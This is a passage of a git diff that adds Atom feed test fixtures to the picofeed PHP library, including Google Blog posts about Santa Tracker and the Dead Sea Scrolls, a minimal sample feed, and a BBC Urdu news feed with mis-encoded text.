+&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/gt2dns4sGkw" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/5628406967684624466?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/5628406967684624466?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/gt2dns4sGkw/explore-spains-jewish-heritage-online.html" title="Explore Spain's Jewish heritage online" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-ntJQdwwZNr4/UNHpASwsCpI/AAAAAAAAKgg/UrKGtiKDwYw/s72-c/maps.png" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2012/12/explore-spains-jewish-heritage-online.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU4CSX46fCp7ImA9WhNWGU0.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-8544513034590760613</id><published>2012-12-18T22:00:00.000-08:00</published><updated>2012-12-18T23:59:28.014-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-12-18T23:59:28.014-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="maps and earth" /><title>Count down to Christmas Eve with Google Santa Tracker</title><content type="html">While millions of people eagerly await Christmas Day, Santa and his elves are keeping busy at the &lt;a href="http://google.com/santatracker"&gt;North Pole&lt;/a&gt;. They’re preparing presents, tuning up the sleigh, feeding the reindeer and, of course, checking the list (twice!) before they take flight on their trip around the world. &lt;br /&gt;
+&lt;br /&gt;
+While we’ve been tracking Santa since 2004 with Google Earth, this year a team of dedicated &lt;a href="http://maps.google.com/"&gt;Google Maps&lt;/a&gt; engineers built a new route algorithm to chart Santa’s journey around the world on Christmas Eve. On his sleigh, arguably the fastest airborne vehicle in the world, Santa whips from city to city delivering presents to millions of homes. You’ll be able to follow him on Google Maps and Google Earth, and get his stats starting at 2:00 a.m. PST Christmas Eve at &lt;a href="http://google.com/santatracker"&gt;google.com/santatracker&lt;/a&gt;. &lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://1.bp.blogspot.com/-68Yyfm-9StM/UNEeWahO9rI/AAAAAAAAKfU/9dQ4pDKxrxk/s1600/Screen+Shot+2012-12-18+at+3.38.49+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-68Yyfm-9StM/UNEeWahO9rI/AAAAAAAAKfU/9dQ4pDKxrxk/s500/Screen+Shot+2012-12-18+at+3.38.49+PM.png" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;i&gt;Simulating Santa's path across the world—see it live Dec 24&lt;/i&gt;&lt;/div&gt;
+&lt;br /&gt;
+In addition, with some help from developer elves, we’ve built a few other tools to help you track Santa from wherever you may be. Add the new &lt;a href="https://chrome.google.com/webstore/detail/iodomglenhcehfbhbakhedmbobhbgjcb"&gt;Chrome extension&lt;/a&gt; or download the &lt;a href="https://play.google.com/store/apps/details?id=com.google.android.santatracker"&gt;Android app&lt;/a&gt; to keep up with Santa from your smartphone or tablet. And to get the latest updates on his trip, follow Google Maps on &lt;a href="https://plus.google.com/+GoogleMaps/"&gt;Google+&lt;/a&gt;, &lt;a href="http://www.facebook.com/GoogleMaps"&gt;Facebook&lt;/a&gt; and &lt;a href="https://twitter.com/googlemaps"&gt;Twitter&lt;/a&gt;.&lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://2.bp.blogspot.com/-LnolqJl6iig/UNEeYj_QY7I/AAAAAAAAKfc/mFyxjksEMCo/s1600/dashboard.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-LnolqJl6iig/UNEeYj_QY7I/AAAAAAAAKfc/mFyxjksEMCo/s500/dashboard.png" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;i&gt;Get a dashboard view of Santa's journey on Google Maps&lt;/i&gt;&lt;/div&gt;
+&lt;br /&gt;
+The Google Santa Tracker will launch on December 24, but the countdown to the journey starts now! Visit &lt;a href="http://g.co/santatracker"&gt;Santa’s Village&lt;/a&gt; today to watch the countdown clock and join the elves and reindeer in their preparations. You can even ask &lt;a href="http://www.google.com/santatracker/santacall"&gt;Santa to call a friend or family member&lt;/a&gt;. &lt;br /&gt;
+&lt;br /&gt;
+We hope you enjoy tracking Santa with us this year. And on behalf of everyone at Google—happy holidays! &lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Brian McClendon, VP of Google Maps and Google Earth&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/PGSuXuqaca4" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/8544513034590760613?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/8544513034590760613?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/PGSuXuqaca4/count-down-to-christmas-eve-with-google.html" title="Count down to Christmas Eve with Google Santa Tracker" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-68Yyfm-9StM/UNEeWahO9rI/AAAAAAAAKfU/9dQ4pDKxrxk/s72-c/Screen+Shot+2012-12-18+at+3.38.49+PM.png" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2012/12/count-down-to-christmas-eve-with-google.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk8ERnY7fSp7ImA9WhNWGE8.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-6897279873128358135</id><published>2012-12-18T02:00:00.000-08:00</published><updated>2012-12-18T02:00:07.805-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-12-18T02:00:07.805-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="culture" /><title>“In the beginningâ€...bringing the scrolls of Genesis and the Ten Commandments online</title><content type="html">A little over a year ago, we &lt;a href="http://googleblog.blogspot.com/2011/09/from-desert-to-web-bringing-dead-sea.html"&gt;helped put online&lt;/a&gt; five manuscripts of the Dead Sea Scrolls—ancient documents that include the oldest known biblical manuscripts in existence. Written more than 2,000 years ago on pieces of parchment and papyrus, they were preserved by the hot, dry desert climate and the darkness of the caves in which they were hidden. The Scrolls are possibly the most important archaeological discovery of the 20th century.&lt;br /&gt;
+&lt;br /&gt;
+Today, we’re helping put more of these ancient treasures online. The Israel Antiquities Authority is launching the &lt;a href="http://www.deadseascrolls.org.il/"&gt;Leon Levy Dead Sea Scrolls Digital Library&lt;/a&gt;, an online collection of some 5,000 images of scroll fragments, at a quality never seen before. The texts include one of the earliest known copies of the Book of Deuteronomy, which includes the &lt;a href="http://www.deadseascrolls.org.il/explore-the-archive/image/B-314643?locale=en_US"&gt;Ten Commandments&lt;/a&gt;; part of Chapter 1 of the &lt;a href="http://www.deadseascrolls.org.il/explore-the-archive/image/B-295662"&gt;Book of Genesis&lt;/a&gt;, which describes the creation of the world; and hundreds more 2,000-year-old texts, shedding light on the time when Jesus lived and preached, and on the history of Judaism.&lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://2.bp.blogspot.com/-8xcrNwgKi_k/UM-J-_JBH3I/AAAAAAAAKeQ/CZ8-bSFEpZA/s1600/10+COMMANDMENTS+-+photo+credit+Shai+Halevi,+courtesy+of+Israel+Antiquities+Authority.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-8xcrNwgKi_k/UM-J-_JBH3I/AAAAAAAAKeQ/CZ8-bSFEpZA/s500/10+COMMANDMENTS+-+photo+credit+Shai+Halevi,+courtesy+of+Israel+Antiquities+Authority.jpg" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;i&gt;The Ten Commandments. Photo by Shai Halevi, courtesy of Israel Antiquities Authority&lt;/i&gt;&lt;/div&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://3.bp.blogspot.com/-WLO0YK8_kJw/UM-J_9nLKmI/AAAAAAAAKeY/evKNiFphwhM/s1600/Genesis+Chapter+1+-+photo+credit+Shai+Halevi,+courtesy+of+Israel+Antiquities+Authority.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-WLO0YK8_kJw/UM-J_9nLKmI/AAAAAAAAKeY/evKNiFphwhM/s500/Genesis+Chapter+1+-+photo+credit+Shai+Halevi,+courtesy+of+Israel+Antiquities+Authority.jpg" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;i&gt;Part of the Book of Genesis. Photo by Shai Halevi, courtesy of Israel Antiquities Authority&lt;/i&gt;&lt;/div&gt;
+&lt;br /&gt;
+Millions of users and scholars can discover and decipher details invisible to the naked eye, at 1215 dpi resolution. The site displays infrared and color images that are equal in quality to the Scrolls themselves. There’s a database containing information for about 900 of the manuscripts, as well as interactive content pages. We’re thrilled to have been able to help this project through hosting on Google Storage and App Engine, and use of Maps, YouTube and Google image technology.&lt;br /&gt;
+&lt;br /&gt;
+This partnership with the Israel Antiquities Authority is part of our ongoing work to bring important cultural and historical materials online, to make them accessible and help preserve them for future generations. Other examples include the &lt;a href="http://googleblog.blogspot.com/2011/01/explore-yad-vashems-holocaust-archives.html"&gt;Yad Vashem Holocaust photo collection&lt;/a&gt;, &lt;a href="http://www.googleartproject.com/"&gt;Google Art Project&lt;/a&gt;, &lt;a href="http://www.google.com/intl/en/culturalinstitute/worldwonders/"&gt;World Wonders&lt;/a&gt; and the &lt;a href="http://www.google.com/culturalinstitute/#!home"&gt;Google Cultural Institute&lt;/a&gt;. &lt;br /&gt;
+&lt;br /&gt;
+We hope you enjoy visiting the Dead Sea Scrolls Digital Library, or any of these other projects, and interacting with history.&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Eyal Miller, New Business Development, and Yossi Matias, Head of Israel Research and Development Center&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/qT8Tg7WjphI" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/6897279873128358135?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/6897279873128358135?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/qT8Tg7WjphI/in-beginningbringing-scrolls-of-genesis.html" title="“In the beginningâ€...bringing the scrolls of Genesis and the Ten Commandments online" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-8xcrNwgKi_k/UM-J-_JBH3I/AAAAAAAAKeQ/CZ8-bSFEpZA/s72-c/10+COMMANDMENTS+-+photo+credit+Shai+Halevi,+courtesy+of+Israel+Antiquities+Authority.jpg" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2012/12/in-beginningbringing-scrolls-of-genesis.html</feedburner:origLink></entry></feed>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/atomsample.xml b/vendor/fguillot/picofeed/tests/fixtures/atomsample.xml
new file mode 100644
index 000000000..18ab87a8a
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/atomsample.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom">
+
+ <title>Example Feed</title>
+ <link href="http://example.org/"/>
+ <updated>2003-12-13T18:30:02Z</updated>
+ <author>
+ <name>John Doe</name>
+ </author>
+ <id>urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6</id>
+
+ <entry>
+ <title>Atom-Powered Robots Run Amok</title>
+ <link href="http://example.org/2003/12/13/atom03"/>
+ <id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>
+ <updated>2003-12-13T18:30:02Z</updated>
+ <summary>Some text.</summary>
+ </entry>
+
+</feed>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/bbc_urdu.xml b/vendor/fguillot/picofeed/tests/fixtures/bbc_urdu.xml
new file mode 100644
index 000000000..327332fcc
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/bbc_urdu.xml
@@ -0,0 +1,2087 @@
+<?xml version="1.0" encoding="utf-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:dcterms="http://purl.org/dc/terms/"
+ xmlns:media="http://search.yahoo.com/mrss/">
+ <id>http://www.bbc.co.uk/urdu/index.xml</id>
+ <title xml:lang="ur">BBCUrdu.com | صÙØ­Û‚ اول</title>
+ <updated>2014-03-17T02:35:46+05:00</updated>
+ <link rel="self" href="http://www.bbc.co.uk/urdu/index.xml"/>
+ <author>
+ <name>BBC Urdu</name>
+ <email>urdu@bbc.co.uk</email>
+ <uri>http://www.bbcurdu.com</uri>
+ </author>
+ <generator>http://www.bbcurdu.com</generator>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="homepage" label="صÙØ­Û‚ اول"/>
+ <logo>http://www.bbc.co.uk/urdu/images/gel/rss_logo.gif</logo>
+ <rights xml:lang="ur">کاپی رائٹ بی بی سی 2014</rights>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30771398</id>
+ <dc:identifier>30771398</dc:identifier>
+ <updated>2014-03-16T20:53:11+05:00</updated>
+ <published>2014-03-16T13:22:25+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="world" label="ورلڈ"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">قزاقستان سے بحر٠Ûند تک Ù„Ø§Ù¾ØªÛ Ø·ÛŒØ§Ø±Û’ Ú©ÛŒ تلاش جاری</title>
+ <summary xml:lang="ur">ملائیشیا میں حکام کا Ú©Ûنا ÛÛ’ Ú©Û Ø¢Ù¹Ú¾ روز قبل Ù„Ø§Ù¾ØªÛ Ûونے والے مساÙر طیارے Ú©ÛŒ تلاش Ú©Û’ لیے وسیع پیمانے پر آپریشن جاری ÛÛ’ جس میں 25 ممالک مدد کر رÛÛ’ Ûیں۔</summary>
+ <dc:subject>چین، بھارت، ملائیشیا، طیارÛØŒ لاپتÛØŒ تحقیق، جانچ، missing malaysia plane, Investigator, study, pilot, background, china, india, , </dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/world/2014/03/140316_missing_malaysia_plane_pilot_mb.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/world/2014/03/140316_missing_malaysia_plane_pilot_mb.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314023851_malaysia_144x81__nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314023851_malaysia_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314023851_malaysia_144x81__nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314023851_malaysia_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/world/2014/03/140315_malaysian_missing_plane_search_rk.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/world/2014/03/140315_malaysian_missing_plane_search_rk.shtml"/>
+ <dc:title>طیارے Ú©Û’ مواصلاتی نظام Ú©Ùˆ Ø¯Ø§Ù†Ø³ØªÛ Ø·ÙˆØ± پر خراب کیا گیا: نجیب رزاق</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315072014_najib_razak_144x81__nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315072014_najib_razak_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315072014_najib_razak_144x81__nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315072014_najib_razak_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30777945</id>
+ <dc:identifier>30777945</dc:identifier>
+ <updated>2014-03-16T20:40:49+05:00</updated>
+ <published>2014-03-16T20:35:11+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="pakistan" label="پاکستان"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">امن مذاکرات Ú©Û’ لیے بنوں اور میران Ø´Ø§Û Ø²ÛŒØ±Ùغور:پروÙیسر ابراÛیم</title>
+ <summary xml:lang="ur">طالبان Ú©ÛŒ Ù†Ù…Ø§Ø¦Ù†Ø¯Û Ù…Ø°Ø§Ú©Ø±Ø§ØªÛŒ کمیٹی Ú©Û’ رکن پروÙیسر ابراÛیم Ù†Û’ Ú©Ûا ÛÛ’ Ú©Û Ù…Ø°Ø§Ú©Ø±Ø§Øª Ú©Û’ لیے بنوں ایئرپورٹ، ای٠آر بنوں اور وزیرستان Ú©Û’ علاقے زیر٠غور Ûیں۔</summary>
+ <dc:subject>pakistan, طالبان، پاکستان، پروÙیسر ابراÛیم، مذاکرات، taliban, talks</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/pakistan/2014/03/140316_taliban_talks_pro_ibrahim_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/pakistan/2014/03/140316_taliban_talks_pro_ibrahim_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/02/17/140217193407_professor_ibrahim_144.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/02/17/140217193407_professor_ibrahim_144.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/02/17/140217193407_professor_ibrahim_144.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/02/17/140217193407_professor_ibrahim_144.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/pakistan/2014/03/140314_sami_presser_fz.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/pakistan/2014/03/140314_sami_presser_fz.shtml"/>
+ <dc:title>’طالبان اور حکومت Ú©Û’ Ø¨Ø±Ø§Û Ø±Ø§Ø³Øª مذاکرات جلد شروع ÛÙˆ سکتے Ûیں‘</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/05/21/130521160351_sami-ul-haq-1.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/05/21/130521160351_sami-ul-haq-1.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/05/21/130521160351_sami-ul-haq-1.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/05/21/130521160351_sami-ul-haq-1.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30770132</id>
+ <dc:identifier>30770132</dc:identifier>
+ <updated>2014-03-16T23:18:05+05:00</updated>
+ <published>2014-03-16T10:45:05+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="world" label="ورلڈ"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">کرائمیا:ریÙرینڈم میں عوام Ú©ÛŒ بھرپور شرکت</title>
+ <summary xml:lang="ur">یوکرین Ú©Û’ نیم خودمختار علاقے کرائمیا میں اتوار Ú©Ùˆ عوام Ù†Û’ روس سے الحاق Ú©Û’ سوال پر Ûونے والے ریÙرینڈم میں بÛت بڑی تعداد میں ووٹ ڈالے Ûیں۔</summary>
+ <dc:subject>امریکÛØŒ یوکرین، کرائمیا، یورپ، روس، ریÙرینڈم، الحاق، Ukraine, crisis, Crimeam holds, secession, referendum, russia, america, ukraine, un, europe, </dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/world/2014/03/140316_referendum_ukraine_begins_mb.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/world/2014/03/140316_referendum_ukraine_begins_mb.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316171305_crimea_144x81_getty_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316171305_crimea_144x81_getty_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316171305_crimea_144x81_getty_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316171305_crimea_144x81_getty_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/world/2014/03/140315_ukraine_moscow_unrest_sq.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/world/2014/03/140315_ukraine_moscow_unrest_sq.shtml"/>
+ <dc:title>یوکرین: سلامتی کونسل میں روس تنÛائی کا شکار</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315154759_march_ukraine_moscow_144x81_bbc_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315154759_march_ukraine_moscow_144x81_bbc_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315154759_march_ukraine_moscow_144x81_bbc_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315154759_march_ukraine_moscow_144x81_bbc_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-17:30781789</id>
+ <dc:identifier>30781789</dc:identifier>
+ <updated>2014-03-17T02:30:57+05:00</updated>
+ <published>2014-03-17T02:17:45+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="science" label="سائنس"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">Ø³ÛŒØ§Ø±Û Ø¹Ø·Ø§Ø±Ø¯ سات کلومیٹر چھوٹا ÛÙˆ گیا ÛÛ’: نئی تحقیق</title>
+ <summary xml:lang="ur">سائنسدانوں کا Ú©Ûنا ÛÛ’ Ú©Û Ú†Ø§Ø± ارب سال قبل جب Ø³ÛŒØ§Ø±Û Ø¹Ø·Ø§Ø±Ø¯ Ú©ÛŒ سطح سخت Ûوئی تھی اس Ú©Û’ مقابلے میں آج ÛŒÛ Ø³ÛŒØ§Ø±Û Ø³Ø§Øª کلومیٹر چھوٹا ÛÙˆ گیا ÛÛ’Û” </summary>
+ <dc:subject>Ø³ÛŒØ§Ø±Û Ø¹Ø·Ø§Ø±Ø¯ØŒ mercury</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/science/2014/03/140316_mercury_shrinking_new_study_rh.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/science/2014/03/140316_mercury_shrinking_new_study_rh.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316212510_mercury_144x81_nasaviagetty_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316212510_mercury_144x81_nasaviagetty_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316212510_mercury_144x81_nasaviagetty_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316212510_mercury_144x81_nasaviagetty_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/science/2012/12/121202_mercury_water_ice_sz.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/science/2012/12/121202_mercury_water_ice_sz.shtml"/>
+ <dc:title>Ø³ÛŒØ§Ø±Û Ø¹Ø·Ø§Ø±Ø¯ پر پانی Ú©ÛŒ موجودگی Ú©Û’ ثبوت</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2012/12/01/121201025512_mercury_ice_water_144x81_reuters_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2012/12/01/121201025512_mercury_ice_water_144x81_reuters_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2012/12/01/121201025512_mercury_ice_water_144x81_reuters_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2012/12/01/121201025512_mercury_ice_water_144x81_reuters_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
